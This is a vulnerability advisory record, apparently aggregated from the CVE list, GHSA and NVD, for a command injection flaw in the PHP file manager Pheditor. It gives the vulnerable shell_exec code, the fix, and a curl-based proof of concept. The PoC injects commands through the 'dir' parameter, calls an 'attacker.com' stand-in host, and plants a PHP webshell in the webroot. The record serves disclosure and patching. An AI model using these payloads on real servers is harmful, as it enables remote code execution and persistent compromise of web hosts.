{"id":"CVE-2026-48030","aliases":["CVE-2026-48030","GHSA-jvc5-6g7q-c843"],"related":[],"kind":"vulnerability","state":"published","title":"Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter (CWE-78)","summary":"Pheditor is a single-file editor and file manager written in PHP. From version 2.0.1 to before version 2.0.4, an OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges. This issue has been patched in version 2.0.4.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Pheditor is a single-file editor and file manager written in PHP. From version 2.0.1 to before version 2.0.4, an OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges. This issue has been patched in version 2.0.4.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nAn OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.\n\n### Details\n\nThe terminal handler in pheditor.php accepts two POST parameters: `command` and `dir`. Shell metacharacters are validated on `$command` only — `$dir` is passed to shell_exec() without any sanitization.\n\nVulnerable code (pheditor.php, line 554–586):\n\n```php\n$command = $_POST['command'];  // ✓ metacharacters checked\n$dir     = $_POST['dir'];      // ✗ NOT checked — vulnerable\n\nif (strpos($command, '&')  !== false ||\n    strpos($command, ';')  !== false ||\n    strpos($command, '||') !== false) {\n    die(...); // only guards $command, not $dir\n}\n\n$output = shell_exec(\n    (empty($dir) ? null : 'cd ' . $dir . ' && ')\n    . $command . ' && echo \\ ; pwd'  // ← $dir injected here\n);\n```\n\nAn attacker sends `dir=/tmp; curl attacker.com #` — the semicolon in $dir is never checked, so the injected command executes freely.\n\nFix: replace `$dir` with `escapeshellarg($dir)` on line 586.\n\n### PoC\n\nRequirements: valid credentials, terminal permission enabled (default)\n\nStep 1 — Authenticate:\n\n```bash\ncurl -c cookies.txt -X POST http://TARGET/pheditor.php \\\n  -d \"pheditor_password=admin\" -L > /dev/null\n```\n\nStep 2 — Get CSRF token:\n\n```bash\nTOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \\\n  grep -o 'token = \"[a-f0-9]*\"' | \\\n  grep -o '\"[a-f0-9]*\"' | tr -d '\"')\n```\n\nStep 3 — Confirm curl is blocked via command field:\n\n```bash\ncurl -s -b cookies.txt -X POST http://TARGET/pheditor.php \\\n  --data-urlencode \"action=terminal\" \\\n  --data-urlencode \"token=$TOKEN\" \\\n  --data-urlencode \"command=curl https://ifconfig.me\" \\\n  --data-urlencode \"dir=/tmp\"\n\n\n→ {\"error\":true,\"message\":\"Command not allowed\"}\n```\n\nStep 4 — Bypass whitelist via dir injection:\n\n```bash\nTOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \\\n  grep -o 'token = \"[a-f0-9]*\"' | \\\n  grep -o '\"[a-f0-9]*\"' | tr -d '\"')\n\ncurl -s -b cookies.txt -X POST http://TARGET/pheditor.php \\\n  --data-urlencode \"action=terminal\" \\\n  --data-urlencode \"token=$TOKEN\" \\\n  --data-urlencode \"command=ls\" \\\n  --data-urlencode \"dir=/tmp; curl -s https://ifconfig.me #\"\n\n\n→ {\"error\":false,\"message\":\"OK\",\"dir\":\"<PUBLIC_IP>\"}\n```\n\nStep 5 — Full RCE via webshell:\n\n```bash\ncurl -s -b cookies.txt -X POST http://TARGET/pheditor.php \\\n  --data-urlencode \"action=terminal\" \\\n  --data-urlencode \"token=$TOKEN\" \\\n  --data-urlencode \"command=ls\" \\\n  --data-urlencode \"dir=/var/www/html; echo '<?php system($_GET[\"c\"]);?>' > /var/www/html/shell.php #\"\n\ncurl \"http://TARGET/shell.php?c=id\"\n\n\n→ uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n### Impact\n\nOS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to:\n\n- Execute arbitrary OS commands as the web server user\n- Bypass the TERMINAL_COMMANDS whitelist entirely\n- Deploy persistent PHP webshells to the webroot\n- Read, write, or delete any file accessible to the web server\n- Potentially compromise other applications on the same server","format":"markdown","source":"ghsa"},{"lang":"es","text":"Pheditor es un editor de un solo archivo y gestor de archivos escrito en PHP. Desde la versión 2.0.1 hasta antes de la versión 2.0.4, una vulnerabilidad de inyección de comandos del sistema operativo en el gestor de acciones de la terminal permite a cualquier usuario autenticado ejecutar comandos arbitrarios del sistema operativo inyectando metacaracteres de shell en el parámetro POST ’dir’, eludiendo completamente la lista blanca TERMINAL_COMMANDS y logrando la ejecución remota de código completa con privilegios de servidor web. Este problema ha sido parcheado en la versión 2.0.4.","source":"nvd"}],"published":"2026-06-09T22:00:35.000Z","modified":"2026-10-24T13:10:00.147Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"}],"cwes":["CWE-78"],"affected":[{"ranges":[{"version":">= 2.0.1, < 2.0.4","status":"affected"}],"vendor":"pheditor","product":"pheditor","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"2.0.1","status":"affected","fixed":"2.0.4"}],"ecosystem":"Packagist","package":"pheditor/pheditor","purl":"pkg:composer/pheditor/pheditor","source":"ghsa"}],"references":[{"url":"https://github.com/pheditor/pheditor/security/advisories/GHSA-jvc5-6g7q-c843","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/pheditor/pheditor/releases/tag/2.0.4","tags":["x-refsource-misc"],"sources":["cvelist","nvd"]},{"url":"https://github.com/pheditor/pheditor/commit/62b43df7cb8956a9b0deb9bec278ca8676c890c5","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/pheditor/pheditor","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-07-27T18:53:32.014Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-48030","url":"https://www.cve.org/CVERecord?id=CVE-2026-48030","licence":"CVE Terms of Use","modified":"2026-07-27T18:53:42.856Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-jvc5-6g7q-c843","url":"https://github.com/advisories/GHSA-jvc5-6g7q-c843","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:08.930Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-48030","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48030","licence":"Public domain","modified":"2026-10-24T13:10:00.147Z"}],"updatedAt":"2026-11-25T22:59:30.219Z","epss":{"score":0.07548,"percentile":0.95279,"date":"2026-11-30T12:00:22.000Z"}}